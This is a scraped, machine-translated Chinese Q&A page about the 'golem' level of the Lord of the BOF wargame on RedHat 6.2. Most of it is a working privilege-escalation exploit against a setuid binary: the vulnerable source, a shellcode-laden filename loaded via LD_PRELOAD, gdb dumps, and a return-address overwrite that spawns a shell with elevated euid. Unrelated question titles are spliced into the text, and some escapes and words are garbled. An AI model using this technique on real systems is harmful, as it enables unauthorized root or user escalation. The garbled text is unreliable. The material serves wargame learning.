首先,让我告诉你的背景。 我正在解决叫做“BoF的主”的问题 ,它基于RedHat linux 6.2 ,它没有 地址空间布局随机化(ASLR) , NX位 , ASCII装甲等等。而且那里的gcc没有编译代码时有任何虚设。 当我试图解决所谓的“ golem ”问题时,我想知道一些事情。
解决日志
这是golem的源代码。 如你所见,除了main的返回地址以外, 它用0填充整个堆栈 。
login: skeleton Password: unkNown terminal "xterm-256color" [skeleton@localhost skeleton]$ bash2 unkNown terminal "xterm-256color" [skeleton@localhost skeleton]$ ls golem golem.c [skeleton@localhost skeleton]$ cat golem.c /* The Lord of the BOF : The Fellowship of the BOF - golem - stack destroyer */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc,char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv errorn"); exit(0); } if(argv[1][47] != 'xbf') { printf("stack is still your frIEnd.n"); exit(0); } strcpy(buffer,argv[1]); printf("%sn",buffer); // stack destroyer! memset(buffer,44); memset(buffer+48,0xbfffffff - (int)(buffer+48)); }
golem是一个setuID的可执行文件 。
[skeleton@localhost skeleton]$ ls -l . total 16 -rwsr-sr-x 1 golem golem 12199 Mar 2 2010 golem -rw-r--r-- 1 root root 539 Mar 29 2010 golem.c
我创build了一个空的共享库,其名称包含shellcode,并使用该文件的绝对path设置环境variablesLD_PRELOAD 。
使用powrshell检查内存types(是否ECC)
Django性能/内存使用情况
当我在windows上运行这个Python脚本时,为什么我会得到一个STATUS_ACCESS_VIolATION,而不是在Mac OS上?
在qemu中打印内存地址范围
如何从linux上当前运行的Python进程访问数据结构?
[skeleton@localhost skeleton]$ echo "" > so.c [skeleton@localhost skeleton]$ gcc so.c -fPIC -shared -o `python -c "print 'x90'*200+'...(Shellcode)...'+'.so'"` [skeleton@localhost skeleton]$ export LD_PRELOAD=`pwd`/`python -c "print 'x90'*200+'...(Shellcode)...'+'.so'"`
然后我复制了golem以便用gdb进行deBUGging。 我deBUGging它,我发现$ebp-1264 ( 0xbffff6b8 )string/home/skeleton/...(Shellcode)....so 。
[skeleton@localhost skeleton]$ cp ./golem /tmp/em [skeleton@localhost skeleton]$ gdb -q /tmp/em (gdb) b *main+3 Breakpoint 1 at 0x8048473 (gdb) r Starting program: /tmp/em Breakpoint 1,0x8048473 in main () (gdb) x/50x $ebp-5000 0xbfffe820: 0x00000267 0x00000000 0x000003f0 0x000006db ... (gdb) 0xbfffe8e8: 0x00000358 0x000003ac 0x0000058d 0x0000070d ... (gdb) 0xbfffe9b0: 0x00000318 0x000006cb 0x000006e3 0x0000046b ... (gdb) 0xbfffea78: 0x000004fa 0x00000570 0x000006b4 0x00000000 ... (gdb) 0xbfffeb40: 0x00000242 0x000006e7 0x000005a0 0x000005fa ... (gdb) 0xbfffec08: 0x00000404 0x00000648 0x00000577 0x000002ec ... (gdb) 0xbfffecd0: 0x00000000 0x00000000 0x000003a2 0x0000026c ... (gdb) 0xbfffed98: 0x0000009c 0x000005fc 0x000001c2 0x00000563 ... (gdb) 0xbfffee60: 0x00000000 0x000004d9 0x000006c9 0x00000277 ... (gdb) 0xbfffef28: 0x000005f6 0x00000551 0x000000b6 0x00000000 ... (gdb) 0xbfffeff0: 0x000003a4 0x00000351 0x000006cd 0x000000b9 ... (gdb) 0xbffff0b8: 0x0000045f 0x000006dd 0x000004a6 0x00000000 ... (gdb) 0xbffff180: 0x000001c0 0x000005f1 0x00000457 0x00000712 ... (gdb) 0xbffff248: 0x0000070b 0x00000167 0x00000555 0x00000619 ... (gdb) 0xbffff310: 0x000004aa 0x000006be 0x000003ef 0x00000000 ... (gdb) 0xbffff3d8: 0x0000062e 0x00000569 0x00000000 0x000005a1 ... (gdb) 0xbffff4a0: 0xbfffe3cc 0xbfffe39c 0xbfffe414 0x00001000 ... (gdb) 0xbffff568: 0x40013c00 0x00000004 0x40014ba0 0x00000003 ... (gdb) 0xbffff630: 0x40013c00 0x4001a0d4 0x40010c9e 0x40000814 0xbffff640: 0x400138d4 0x40001402 0x400002f4 0x080482d0 0xbffff650: 0x080482d0 0xbffff69c 0x00000002 0x40023fd0 0xbffff660: 0x40013c00 0x4000ba15 0x40013868 0x40000814 0xbffff670: 0x400041b0 0x00000001 0xbffff684 0x40001528 0xbffff680: 0x000002c8 0x00000000 0x080482d0 0x00000000 0xbffff690: 0x00000001 0x40000824 0xbffff6a4 0x400075bb 0xbffff6a0: 0x40017000 0x00002fb2 0x40013868 0xbffff8e4 0xbffff6b0: 0x4000380e 0x400144d8 0x6d6f682f 0x6b732f65 0xbffff6c0: 0x74656c65 0x902f6e6f 0x90909090 0x90909090 0xbffff6d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff6e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff6f0: 0x90909090 0x90909090 (gdb) 0xbffff6f8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff708: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff718: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff728: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff738: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff748: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff758: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff768: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff778: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff788: 0x90909090 0x31909090 0x616850c0 0x68687361 0xbffff798: 0x6e696261 0x4e243480 0x04247480 0x2474804e 0xbffff7a8: 0xe3894e05 0xe1895350 0x0bb0d231 0x732e80cd 0xbffff7b8: 0x4000006f 0x40013868 (gdb) x/s 0xbffff6c8 0xbffff6c8: '220' <repeats 199 times>,"1"... (gdb) x/s 0xbffff6c7 0xbffff6c7: '220' <repeats 200 times>... (gdb) x/s 0xbffff6c7 0xbffff6c7: '220' <repeats 200 times>... (gdb) 0xbffff78f: "1 Phaashhabin2004$N200t$04N200t$05N211 PS211 1Ұ13 200.so" (gdb) q The program is running. Exit anyway? (y or n) y
我用shellcode的期望的地址覆盖了main的返回地址,这样shellcode可以用setuID来执行,并且工作。
[skeleton@localhost skeleton]$ /tmp/em `python -c "print 'A'*44+'x40xf7xffxbf'"` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ bash$ ID uID=510(skeleton) gID=510(skeleton) groups=510(skeleton) bash$ exit exit [skeleton@localhost skeleton]$ ./golem `python -c "print 'A'*44+'x40xf7xffxbf'"` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ bash$ ID uID=510(skeleton) gID=510(skeleton) euID=511(golem) egID=511(golem) groups=510(skeleton) bash$ my-pass euID = 511 cup of coffee bash$ exit exit [skeleton@localhost skeleton]$ exit ...
这个问题
为什么在具有setuID的可执行文件的内存中加载的环境variablesLD_PRELOAD指定了共享库文件的pathstring ? 我被告知LD_PRELOAD不能和setuID一起使用 。
我读了
堆栈布局
LD_PRELOAD与setuID二进制
为什么在堆栈上LD_PRELOAD的值 (OP正在谈论同样的问题, golem ,但它与我所要求的完全不同)。
查询,如果堆是可执行的
objdump vs / proc / pID / maps的虚拟内存地址?
ptrace PTRACE_ATTACH失败 – 用户拥有的进程的linux权限
linux内核如何决定使用哪个内存区域?
用于企业的windows内存中caching
在linux上,所有的环境变量都可以通过main()传统上称为envp的特殊的第三个参数被程序envp : http : envp
如果envp是main()签名的一部分,它将指向包含所有环境变量的数组。 即使不是这样,数组可能仍然存在于程序的地址空间中。
这并不意味着加载器在任何特定的情况下实际上都遵守LD_PRELOAD – 可以自由地忽略它,例如在setuID下,但是变量仍然存在。
为了详细阐述约翰的答案,一些env。 变量被完全从setuID环境中删除,即不传递给不安全的子进程(例如LD_DEBUG ),有些被忽略而被传递给子进程(例如LD_PRELOAD )。
总结以上是内存溢出为你收集整理的为什么在RedHat 6.2的setuid可执行文件的内存中加载`LD_PRELOAD`指定的string?全部内容,希望文章能够帮你解决为什么在RedHat 6.2的setuid可执行文件的内存中加载`LD_PRELOAD`指定的string?所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)